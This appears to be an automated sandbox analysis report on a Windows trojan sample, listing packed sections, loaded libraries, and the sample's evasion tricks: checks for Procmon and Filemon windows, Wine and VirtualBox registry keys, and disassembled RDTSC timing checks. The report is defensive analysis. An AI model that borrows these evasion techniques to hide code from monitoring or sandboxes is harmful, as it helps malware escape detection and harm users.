Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00434040	0_2_00434040
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003F1000	0_2_003F1000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402030	0_2_00402030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0043A0D0	0_2_0043A0D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003F5160	0_2_003F5160
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003FE1A0	0_2_003FE1A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003F71F0	0_2_003F71F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004282D0	0_2_004282D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004212D0	0_2_004212D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003F12F7	0_2_003F12F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003FA300	0_2_003FA300
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003F13A3	0_2_003F13A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003FB3A0	0_2_003FB3A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004223E0	0_2_004223E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041C470	0_2_0041C470
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005AC4F4	0_2_005AC4F4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004264F0	0_2_004264F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00404487	0_2_00404487
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040049B	0_2_0040049B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005BB545	0_2_005BB545
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005C0572	0_2_005C0572
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B6514	0_2_005B6514
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003F35B0	0_2_003F35B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003F8590	0_2_003F8590
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040C5F0	0_2_0040C5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00438652	0_2_00438652
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0042F620	0_2_0042F620
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003F164F	0_2_003F164F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004386F0	0_2_004386F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B2729	0_2_005B2729
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00421860	0_2_00421860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003FA850	0_2_003FA850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0042B8C0	0_2_0042B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0042E8A0	0_2_0042E8A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004A1946	0_2_004A1946
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005AA949	0_2_005AA949
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0047E967	0_2_0047E967
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005AF913	0_2_005AF913
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005AF9CC	0_2_005AF9CC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041098B	0_2_0041098B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004389A0	0_2_004389A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00434A40	0_2_00434A40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00438A80	0_2_00438A80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00437AB0	0_2_00437AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040DB6F	0_2_0040DB6F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003F7BF0	0_2_003F7BF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00438C02	0_2_00438C02
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B4C1D	0_2_005B4C1D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041CCD0	0_2_0041CCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00436CBF	0_2_00436CBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00418D62	0_2_00418D62
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041FD10	0_2_0041FD10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041DD29	0_2_0041DD29
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041AE57	0_2_0041AE57
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00438E70	0_2_00438E70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00404E2A	0_2_00404E2A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003FBEB0	0_2_003FBEB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005ADEAB	0_2_005ADEAB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00406EBF	0_2_00406EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005BCF47	0_2_005BCF47
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003FAF10	0_2_003FAF10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00544F62	0_2_00544F62
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00437FC0	0_2_00437FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B2FE8	0_2_005B2FE8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003F8FD0	0_2_003F8FD0

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 003FCAA0 appears 48 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 0040D300 appears 152 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9995487830033003
Source: file.exe	Static PE information: Section: jvjsmpcp ZLIB complexity 0.9944149137409201

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@10/2

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00428220 CoCreateInstance,

0_2_00428220

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: file.exe

Static file information: File size 1861632 > 1048576

Source: file.exe

Static PE information: Raw size of jvjsmpcp is bigger than: 0x100000 < 0x19d000

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.3f0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;jvjsmpcp:EW;gwbnwyoc:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;jvjsmpcp:EW;gwbnwyoc:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1d4095 should be: 0x1cadbd

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: jvjsmpcp
Source: file.exe	Static PE information: section name: gwbnwyoc
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005EA079 push esi; mov dword ptr [esp], eax	0_2_005EA101
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00452007 push edx; mov dword ptr [esp], eax	0_2_0045222E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006310BD push 716BC2A3h; mov dword ptr [esp], edi	0_2_006310CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0062C164 push 6DB92B7Ch; mov dword ptr [esp], eax	0_2_0062C1CD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006A917B push 3AA6861Bh; mov dword ptr [esp], ebp	0_2_006A918F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00617123 push edx; mov dword ptr [esp], eax	0_2_00617520
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00617123 push 713B6EA6h; mov dword ptr [esp], eax	0_2_0061777B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0065C11E push esi; mov dword ptr [esp], 20D3456Dh	0_2_0065C25C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EB1A8 push edx; mov dword ptr [esp], 4FBFFFD0h	0_2_006EB1D4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EB1A8 push ebx; mov dword ptr [esp], eax	0_2_006EB248
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0062D185 push ebp; mov dword ptr [esp], edi	0_2_0062D172
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0063D20C push ebx; mov dword ptr [esp], ecx	0_2_0063D2F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0043F23B push edx; ret	0_2_0043F24B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0066421D push edx; mov dword ptr [esp], edi	0_2_00664227
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006402C8 push 72A235C0h; mov dword ptr [esp], eax	0_2_0064026A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006402C8 push 0FC70C12h; mov dword ptr [esp], ecx	0_2_00640335
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006692B6 push ecx; mov dword ptr [esp], eax	0_2_00669302
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0064037A push ebp; mov dword ptr [esp], edx	0_2_00640388
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0064037A push 728A15BBh; mov dword ptr [esp], ecx	0_2_00640428
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0062034C push 5565C531h; mov dword ptr [esp], ecx	0_2_006203D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0066D334 push edx; mov dword ptr [esp], 6BEFC390h	0_2_0066D353
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006C4312 push 148DE0D2h; mov dword ptr [esp], edx	0_2_006C4348
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006C4312 push edi; mov dword ptr [esp], esi	0_2_006C436C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006753AD push eax; mov dword ptr [esp], ecx	0_2_0067540E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006833B6 push 5B1D5779h; mov dword ptr [esp], ecx	0_2_006833E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006833B6 push 756E7876h; mov dword ptr [esp], edx	0_2_00683433
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00610390 push edx; mov dword ptr [esp], edi	0_2_006103B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00610390 push edx; mov dword ptr [esp], ebp	0_2_006103D8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00610390 push edx; mov dword ptr [esp], eax	0_2_00610439
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0060147B push ebp; mov dword ptr [esp], 5FFBBFD0h	0_2_00601CD3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0051046F push ecx; mov dword ptr [esp], esi	0_2_00510492

Source: file.exe	Static PE information: section name: entropy: 7.97840910686373
Source: file.exe	Static PE information: section name: jvjsmpcp entropy: 7.95452951026357

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5F59 second address: 5C5F5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5F5D second address: 5C5F63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C78FD second address: 5C7957 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jc 00007F65C0B38BE6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f pushad 0x00000010 mov dword ptr [ebp+122D1E37h], edi 0x00000016 mov edi, dword ptr [ebp+122D365Dh] 0x0000001c popad 0x0000001d push 00000000h 0x0000001f call 00007F65C0B38BE9h 0x00000024 ja 00007F65C0B38BF6h 0x0000002a jmp 00007F65C0B38BF0h 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F65C0B38BF7h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7957 second address: 5C795D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C795D second address: 5C7A27 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F65C0B38BFDh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push esi 0x0000000f jns 00007F65C0B38BF1h 0x00000015 pop esi 0x00000016 mov eax, dword ptr [eax] 0x00000018 pushad 0x00000019 pushad 0x0000001a jmp 00007F65C0B38BF3h 0x0000001f jmp 00007F65C0B38BF1h 0x00000024 popad 0x00000025 jl 00007F65C0B38BF5h 0x0000002b jmp 00007F65C0B38BEFh 0x00000030 popad 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 pushad 0x00000036 jbe 00007F65C0B38BECh 0x0000003c jnl 00007F65C0B38BE8h 0x00000042 popad 0x00000043 pop eax 0x00000044 push 00000003h 0x00000046 mov dword ptr [ebp+122D1FA8h], esi 0x0000004c push 00000000h 0x0000004e call 00007F65C0B38BEFh 0x00000053 mov ecx, 0B140245h 0x00000058 pop edx 0x00000059 push 00000003h 0x0000005b mov ecx, dword ptr [ebp+122D351Dh] 0x00000061 mov edi, ebx 0x00000063 call 00007F65C0B38BE9h 0x00000068 push eax 0x00000069 push edx 0x0000006a push eax 0x0000006b push edx 0x0000006c push edx 0x0000006d pop edx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7A27 second address: 5C7A31 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F65C10F1076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7A31 second address: 5C7A9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C0B38BF0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jp 00007F65C0B38BECh 0x00000011 jns 00007F65C0B38BE6h 0x00000017 jmp 00007F65C0B38BEFh 0x0000001c popad 0x0000001d mov eax, dword ptr [esp+04h] 0x00000021 jmp 00007F65C0B38BF3h 0x00000026 mov eax, dword ptr [eax] 0x00000028 push edx 0x00000029 jmp 00007F65C0B38BEFh 0x0000002e pop edx 0x0000002f mov dword ptr [esp+04h], eax 0x00000033 push eax 0x00000034 push edx 0x00000035 jg 00007F65C0B38BECh 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7A9F second address: 5C7AEA instructions: 0x00000000 rdtsc 0x00000002 jns 00007F65C10F107Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov edx, 37CC0DFCh 0x00000010 lea ebx, dword ptr [ebp+124477E0h] 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007F65C10F1078h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 00000014h 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 mov dword ptr [ebp+122D1E11h], eax 0x00000036 xchg eax, ebx 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a jc 00007F65C10F1076h 0x00000040 pushad 0x00000041 popad 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7AEA second address: 5C7AEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7B7F second address: 5C7BCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 ja 00007F65C10F1076h 0x0000000e pop ebx 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 mov edi, esi 0x00000015 mov edx, dword ptr [ebp+122D3515h] 0x0000001b push 00000000h 0x0000001d or dword ptr [ebp+122D17D9h], esi 0x00000023 call 00007F65C10F1079h 0x00000028 jns 00007F65C10F1084h 0x0000002e push eax 0x0000002f jl 00007F65C10F1084h 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 pop eax 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7BCA second address: 5C7BE6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F65C0B38BE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jg 00007F65C0B38BECh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7CC2 second address: 5C7CE1 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F65C10F1076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e jno 00007F65C10F1076h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jno 00007F65C10F1076h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7D80 second address: 5C7D8A instructions: 0x00000000 rdtsc 0x00000002 js 00007F65C0B38BE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7D8A second address: 5C7E24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F65C10F1081h 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f jmp 00007F65C10F1088h 0x00000014 jmp 00007F65C10F107Ah 0x00000019 popad 0x0000001a nop 0x0000001b push 00000000h 0x0000001d push edi 0x0000001e call 00007F65C10F1078h 0x00000023 pop edi 0x00000024 mov dword ptr [esp+04h], edi 0x00000028 add dword ptr [esp+04h], 00000019h 0x00000030 inc edi 0x00000031 push edi 0x00000032 ret 0x00000033 pop edi 0x00000034 ret 0x00000035 adc esi, 4C5A4F00h 0x0000003b mov dl, 17h 0x0000003d push 00000000h 0x0000003f mov dword ptr [ebp+122D27A9h], eax 0x00000045 call 00007F65C10F1079h 0x0000004a pushad 0x0000004b pushad 0x0000004c pushad 0x0000004d popad 0x0000004e push esi 0x0000004f pop esi 0x00000050 popad 0x00000051 jmp 00007F65C10F1082h 0x00000056 popad 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a push ecx 0x0000005b push edx 0x0000005c pop edx 0x0000005d pop ecx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7E24 second address: 5C7E53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C0B38BEEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push ecx 0x0000000e jmp 00007F65C0B38BF1h 0x00000013 pop ecx 0x00000014 mov eax, dword ptr [eax] 0x00000016 push ecx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7F22 second address: 5C7F47 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F65C10F1088h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pushad 0x00000010 popad 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EAB13 second address: 5EAB19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EAB19 second address: 5EAB1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EAB1D second address: 5EAB21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E9234 second address: 5E9239 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E9239 second address: 5E923F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E923F second address: 5E9249 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F65C10F1076h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E9514 second address: 5E9518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E9518 second address: 5E952C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C10F107Ah 0x00000007 jbe 00007F65C10F1076h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E952C second address: 5E9531 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E9531 second address: 5E9537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E96B2 second address: 5E96DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F65C0B38BE6h 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007F65C0B38BF9h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E96DB second address: 5E96E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E96E1 second address: 5E96E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E995F second address: 5E9983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F65C10F1093h 0x0000000b jmp 00007F65C10F1087h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E9AF2 second address: 5E9B1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C0B38BEBh 0x00000007 jmp 00007F65C0B38BF9h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BB00C second address: 5BB014 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EA5CF second address: 5EA5D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EA5D5 second address: 5EA5DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EA5DE second address: 5EA5E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EA5E2 second address: 5EA5F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007F65C10F107Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
